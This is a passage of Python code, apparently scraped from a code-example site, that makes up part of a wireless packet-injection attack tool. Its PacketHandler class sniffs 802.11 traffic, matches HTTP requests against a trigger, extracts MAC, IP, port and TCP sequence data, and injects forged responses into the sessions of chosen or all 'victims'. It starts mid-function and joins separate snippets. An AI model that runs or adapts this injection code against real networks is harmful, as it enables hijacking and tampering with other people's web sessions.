                                                     tgt.get_injection(),
                                                     TSVal, TSecr)

            if exists == 0:
                self.newTgts.append(
                    Tracker(ip=tgtIp, mac=tgtMac, tParams=self.tParams))
        except:
            return

    def requestExtractor(self, pkt):
        """Extracts the payload for trigger processing"""
        ret2 = "\n".join(pkt.sprintf("{Raw:%Raw.load%}\n").split(r"\r\n"))
        if len(ret2.strip()) > 0:
            return ret2.translate(None, "'").strip()
        else:
            return None
Esempio n. 4
0
class PacketHandler(object):
    """This class does all the heavy-lifting.

    It has an optional Victims parameter that is a
    List of instances of Victims for targeted mode.

    It can also be fed an instance of VictimParameters
    directly if working in broadcast mode and attacking all clients.
    """
    def __init__(self, *positional_parameters, **keyword_parameters):

        self.victims = keyword_parameters.get('victims')
        if self.victims is None:
            self.victims = []

        self.handler = keyword_parameters.get('handler')
        self.i = keyword_parameters.get('i')
        self.victim_parameters = keyword_parameters.get('victim_parameters')

        if self.i is None:
            print('[ERROR] No injection interface selected')
            exit(1)

        if len(self.victims) == 0 and self.victim_parameters is None:
            print('[ERROR] Please specify victim parameters or Victim List')
            exit(1)

        ## Argument handling
        args = keyword_parameters.get('Args')
        self.nic = args.mon
        self.single = args.single

        ## Trigger setup
        if args.trigger is None:
            self.trigger = 'GET /'
        else:
            self.trigger = args.trigger

        self.newvictims = []
        self.injector = Injector(self.i, args)

    def proc_handler(self, packet, args):
        """Process handler responsible for the last mile of packet filtering
        Obtains packet specific information and stores it to memory
        """
        if packet.haslayer(IP) and packet.haslayer(TCP):

            ## Trigger check
            request = self.requestExtractor(packet)
            if self.trigger in request:

                ### DEBUG
                # wrpcap('decryptedSniff.pcap', packet)

                ## MONITOR MODE
                # if self.nic == 'mon':
                rtrmac = packet.getlayer(Dot11).addr1
                vicmac = packet.getlayer(Dot11).addr2
                dstmac = packet.getlayer(Dot11).addr3

                # ## TAP MODE
                # else:
                #     rtrmac = packet.getlayer(Ether).dst
                #     vicmac = packet.getlayer(Ether).src
                #     dstmac = 'TAP'

                vicip = packet.getlayer(IP).src
                svrip = packet.getlayer(IP).dst
                vicport = packet.getlayer(TCP).sport
                svrport = packet.getlayer(TCP).dport
                size = len(packet.getlayer(TCP).load)
                acknum = str(int(packet.getlayer(TCP).seq) + size)
                seqnum = packet.getlayer(TCP).ack
                # wrpcap('inbound.pcap', packet)
            else:
                return 0

            try:
                TSVal, TSecr = packet.getlayer(TCP).options[2][1]
            except:
                TSVal = None
                TSecr = None

            cookie = None
            #print (vicmac, rtrmac, vicip, svrip, vicport, svrport, acknum, seqnum, request, cookie, TSVal, TSecr)
            return (vicmac, rtrmac, dstmac, vicip, svrip, vicport, svrport,
                    acknum, seqnum, request, cookie, TSVal, TSecr)
        return None

    def proc_injection(self, vicmac, rtrmac, dstmac, vicip, svrip, vicport,
                       svrport, acknum, seqnum, request, cookie, TSVal, TSecr,
                       args):
        """Process injection function using the PacketHandler.victims List.

        If it was set, to check if the packet belongs to any of the targets.
        If no victims List is set, meaning it's in broadcast mode, it checks
        for the victim in PacketHandler.newvictims and gets the injection for it,
        if there is one, and injects it via Injector.inject().


        Gutting some of the logic to concentrate on injection speed
        """

        ## Broadcast mode
        if len(self.victims) == 0:

            for victim in self.newvictims:
                injection = victim.get_injection()
                self.injector.inject(vicmac, rtrmac, dstmac, vicip, svrip,
                                     vicport, svrport, acknum, seqnum,
                                     injection, TSVal, TSecr)

        ## Targeted mode
        else:
            for victim in self.victims:
                injection = victim.get_injection()
                self.injector.inject(vicmac, rtrmac, dstmac, vicip, svrip,
                                     vicport, svrport, acknum, seqnum,
                                     injection, TSVal, TSecr)

    def process(self, interface, pkt, args):
        """Process packets coming from the sniffer.

        You can override the handler with one of your own,
        that you can use for any other packet type (e.g DNS),
        otherwise it uses the default packet handler looking
        for GET requests for injection and cookies.
        """
        ## You can write your own handler for packets
        ## If wanted, do something like:
        #if self.handler is not None:
        #self.handler(interface, pkt, args)
        #else:
        try:
            vicmac,\
            rtrmac,\
            dstmac,\
            vicip,\
            svrip,\
            vicport,\
            svrport,\
            acknum,\
            seqnum,\
            request,\
            cookie,\
            TSVal,\
            TSecr = self.proc_handler(pkt, args)

            ## Broadcast mode
            if not args.t:
                v1 = Victim(ip=vicip,
                            mac=vicmac,
                            victim_parameters=self.victim_parameters)
                self.newvictims.append(v1)

            self.proc_injection(vicmac, rtrmac, dstmac, vicip, svrip, vicport,
                                svrport, acknum, seqnum, request, cookie,
                                TSVal, TSecr, args)
        except:
            return

    def requestExtractor(self, pkt):
        """Extracts the payload for trigger processing"""
        ret2 = "\n".join(pkt.sprintf("{Raw:%Raw.load%}\n").split(r"\r\n"))
        if len(ret2.strip()) > 0:
            # return ret2.translate(None, "'").strip()
            return ret2.replace("'", '').strip()
        else:
            return None